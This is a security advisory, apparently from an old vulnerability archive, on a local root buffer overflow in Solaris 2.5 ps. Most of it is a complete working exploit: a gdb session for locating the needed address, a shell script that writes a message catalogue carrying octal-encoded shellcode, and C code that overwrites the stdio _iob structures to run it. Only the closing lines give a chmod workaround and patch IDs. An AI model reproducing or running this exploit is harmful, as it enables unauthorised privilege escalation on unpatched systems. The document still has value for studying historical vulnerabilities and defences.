COMMAND
/usr/bin/ps (/usr/ucb/ps in similar way)
SYSTEMS AFFECTED
Solaris 2.5
PROBLEM
ps is a program used to print information about active processes
on the system.
Due to insufficient bounds checking on arguments passed to the ps
program, it is possible to overwrite the internal data space of
this program while it is executing. This vulnerability may allow
local users to gain root privileges. Under Solaris 2.x there are
two distinct vulnerable versions of ps. These are installed by
default in /usr/bin/ and /usr/ucb/.
Joe Zbiciak made an exploit for ps. This exploit does *not* use
the getopt()/argv[0] hole. This partial exploit is unique in
that it does *not* rely on an executable stack. Rather, it
overwrites the buffer pointers in _iob[0] through _iob[2], thus
inducing stdio streams to do the dirty work. Below is the
complete exploit.
Incidentally, it appears that /usr/ucb/ps is equally succeptable
to this hole, except the vulnerability is on the -t argument, and
the string grokked by gettext is different, so the "ps_expl.po"
file needs to be changed slightly. Fortunately, "environ" and
"proc_link" are pretty much the same.
A number of you have written saying that the exploit doesn't work.
The biggest problem is that the exploit relies on a very specific
address (which is putted in the proc_link variable) in order to
work. The following shortcut seems to work for finding the value
for the bothersome proc_link variable. You don't need to be a
gdb whiz to do this:
$ gdb ./ps
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (sparc-sun-solaris2.4),
Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break exit
Breakpoint 1 at 0x25244
(gdb) run
Starting program: /home3/student/im14u2c/c/./ps
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...Breakpoint 1 at 0xef7545c0
(no debugging symbols found)... PID TTY TIME CMD
9840 pts/27 0:01 ps
19499 pts/27 0:10 bash
9830 pts/27 0:02 gdb
Breakpoint 1, 0xef7545c0 in exit ()
(gdb) disassemble exit
Dump of assembler code for function exit:
0xef7545c0 <exit>: call 0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
0xef7545c4 <exit+4>: nop
0xef7545c8 <exit+8>: mov 1, %g1
0xef7545cc <exit+12>: ta 8
End of assembler dump.
(gdb)
The magic number is in the "call" above: 0xef771408. Anyway,
exploit.
--- ps_expl.sh: cut here ---
#!/bin/sh
#
# Exploit for Solaris 2.5 /usr/bin/ps
# J. Zbiciak, 5/18/97
#
# change as appropriate
CC=gcc
# Build the "replacement message" :-)
cat > ps_expl.po << E_O_F
domain "SUNW_OST_OSCMD"
msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025"
"\343\150\220\013\200\016\222\003\240\014\224\032\200\012"
"\234\003\240\024\354\073\277\354\300\043\277\364\334\043"
"\277\370\300\043\277\374\202\020\040\073\221\320\040\010"
"\220\033\300\017\202\020\040\001\221\320\040\010"
E_O_F
msgfmt -o /tmp/foo ps_expl.po
# Build the C portion of the exploit
cat > ps_expl.c << E_O_F
/*****************************************/
/* Exploit for Solaris 2.5 /usr/bin/ps */
/* J. Zbiciak, 5/18/97 */
/*****************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH (632)
#define EXTRA (256)
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
/* ps will grok this file for the exploit code */
char *envp[]={"NLSPATH=/tmp/foo",0};
u_long *long_p;
u_char *char_p;
/* This will vary depending on your libc */
u_long proc_link=0xef70ef70;
int i;
long_p = (u_long *) buf;
/* This first loop smashes the target buffer for optargs */
for (i = 0; i < (96) / sizeof(u_long); i++)
*long_p++ = 0x10101010;
/* At offset 96 is the environ ptr -- be careful not to mess it up */
*long_p++=0xeffffcb0;
*long_p++=0xffffffff;
/* After that is the _ctype table. Filling with 0x10101010 marks the
entire character set as being "uppercase printable". */
for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
*long_p++ = 0x10101010;
/* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */
/* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */
/* build up _iob[1] */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */
/* build up _iob[2] */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */
*long_p =0;
/* The following includes the invalid argument '-z' to force the
usage msg to appear after the arguments have been parsed. */
execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
perror("execle failed");
return 0;
}
E_O_F
# Compile it
$CC -o ps_expl ps_expl.c
# And off we go!
exec ./ps_expl
--- EOF ---
SOLUTION
You should remove setuid and non-root execute permissions until
you apply patch:
# chmod 500 /usr/bin/ps /usr/ucb/ps
The vulnerability in ps is fixed by the following patches:
OS version Patch ID
__________ ________
SunOS 5.5.1 105050-01
SunOS 5.5.1_x86 105051-01
SunOS 5.5 105052-01
SunOS 5.5_x86 105053-01
SunOS 5.4 102711-02
SunOS 5.4_x86 102712-02
SunOS 5.3 101545-03